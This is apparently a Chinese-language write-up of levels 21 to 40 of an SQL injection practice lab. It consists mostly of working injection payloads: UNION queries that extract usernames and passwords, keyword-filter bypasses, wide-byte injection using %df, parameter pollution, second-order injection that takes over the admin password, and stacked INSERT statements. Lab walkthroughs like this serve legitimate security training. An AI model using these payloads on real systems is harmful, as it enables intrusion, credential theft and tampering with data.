第二十一关
登陆后显示如下图界面,感觉和cookie注入有些相似
进行抓包,发现cookie被编码
返回来查看源代码,发现这里被base64编码
我们将抓到的包发至重放器,在cookie字段写入查询代码并改为base64编码
发送请求即可得到数据库名
剩余操作大家自行查询
第二十二关
登陆后显示界面和二十一关一样
查看源代码发现也是被base64编码
基本和二十一关相同,只是闭合方式不同
1" union select 1,2,database() #
编码后:MSIgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
后续大家自行查询
第二十三关
输入1'登录不成功,1'#也不成功
而1' '成功登录,说明#被注释
测试回显位
爆出库名
?id=-1' union select 1,database(),3 '
爆表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 '
爆字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 '
爆字段信息
?id=-1' union select 1,(select group_concat(username,password) from users),3 '
第二十四关
进入24关,有注册、登录、忘记密码等界面
我们先注册一个名为admin的帐号,这里提示我们admin已存在
所以我们重新注册一个admin'#的账号,密码位123456,注册后登录,可以在这个界面修改密码,单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。
密码修改成功
我们使用修改的密码登录admin的账号,成功登录
我们这次所用的方法叫做二次排序注入,也叫做存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。
第二十五关
先判断闭合方式
?id=1' --+
联合查询查看回显位置
?id=-1' union select 1,2,3 --+
爆出数据库名
?id=-1' union select 1,database(),3 --+
爆表名,页面上提示'or'和'and'会被注释,说明单词中出现的也会白注释,我们可以使用双写的方法规避注释
?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3 --+
后续大家自行查询,记住规避'or''和'and'
第二十六关
判断闭合方式,我们实验发现#和--+都闭合不了,所以这里我们用一个不常用的注释
?id=1';%00
测试发现常规代替空格的方式都被注释了,正好()也能代替空格使用,-号也被注释,我们就选一个不存在的数亮出回显位置
?id=99'union(select(1),(2),(3));%00
爆出数据库名
?id=99'union(select(1),(database()),(3));%00
第二十七关
判断闭合方式,和上一关一样
?id=1';%00
由于页面提示屏蔽了union和select字样,所以我们采用双写和大小写的方式绕开,空格用%09代替,亮出回显
?id=99' ununionion%09seleCt %091,2,3;%00
爆出数据库名
?id=99' ununionion%09seleCt %091,database(),3;%00
第二十八关
判断闭合方式
?id=1');%00
过滤一组union select ,以下代码绕开过滤
?id=1')%09ununion%09selection%09select%091,2,3;%00
确定回显,爆出数据库名称
?id=99')%09ununion%09selection%09select%091,database(),3;%00
第二十九关
判断闭合方式
?id=1'--+
这关用常规方法也是可以做出来,但是毕竟是新的关卡,肯定有它出现的道理,看了下源码发现是代码逻辑漏洞导致的重复参数注入,就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。
?id=1&id=-1' union select 1,2,3--+
下面我们就要常规方法解题了
爆库名
?id=-1' union select 1,database(),3--+
爆表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
爆字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+
爆字段数据
?id=-1' union select 1,(select group_concat(username,password) from users),3--+
第三十关
和二十九关相似,只不过是闭合方式变成了"
?id=1"--+
亮出回显
?id=1&id=-1" union select 1,2,3--+
爆出数据库名
?id=1&id=-1" union select 1,database(),3--+
第三十一关
这一关的闭合方式是"),其余的和29关一样
查出数据库名
?id=1&id=99") union select 1,database(),3--+
第三十二关
测试了'和"没什么反应
我们去看看源码,addslashes函数的作用就是让'变成\',让引号变得不再是原本的“单引号”,没有了之前的语义,而是变成了一个字符。那么我们现在要做的就是想办法将'前面的\给它去除掉,'和/都进行了过滤,因此我们就无法闭合,现在就可以使用宽字节注入了
那么我们尝试在'前面加%df看看,发现出现了报错语句
直接联合查询爆出库名
?id=-1%df' union select 1,database(),3--+
第三十三关
查看源码发现和上一关的方法是一样的
直接爆出库名
?id=-1%df’ union select 1,database(),3--+
第三十四关
进入本关发现是post提交
查看源码发现我们的用户名和密码都被编码,还需用到宽字节注入
由于是post传参,我们使用bp抓包,爆出库名
第三十五关
查看网站源码发现还是用了addslashes()函数作为过滤
但是测试发现它为数字型注入,相当于没过滤,直接爆出库名
第三十六关
我们先输入'和",发现页面都没有反应
查看源码发现使用了 MySQL_real_escape_string函数进行了过滤
我们尝试用宽字节注入
成功爆出库名
第三十七关
输入用户名和密码测试出前面加反斜杠方式过滤了单引号等字符,这次为post传参
看看源代码,和上一关一样的过滤函数
我们抓包进行宽字节注入,成功爆出库名
第三十八关
先来测试闭合
联合查询直接爆出库名了
感觉没那么简单,我们来看看源代码
mysqli_multi_query函数,该函数支持多条sql语句同时进行,所以这题是考察堆叠注入
我们尝试往数据库添加一条信息
?id=-1'; insert into users(id,username,password) values('18','bob','security')--+
访问id=18可以看到我们已经注入信息
第三十九关
数字型注入,直接爆出库名
查看源码发现也可堆叠注入
我们在数据库中新建一条信息
?id=1;insert into users(id,username,password) values ('20','san','er')--+
输入id=20即可访问到我们注入的信息
第四十关
和前几关一样,只是闭合方式不同
联合注入爆出库名
尝试堆叠注入
?id=-1'); insert into users(id,username,password) values ('21','ershiyi','2221')--+
输入id=20查看我们注入的信息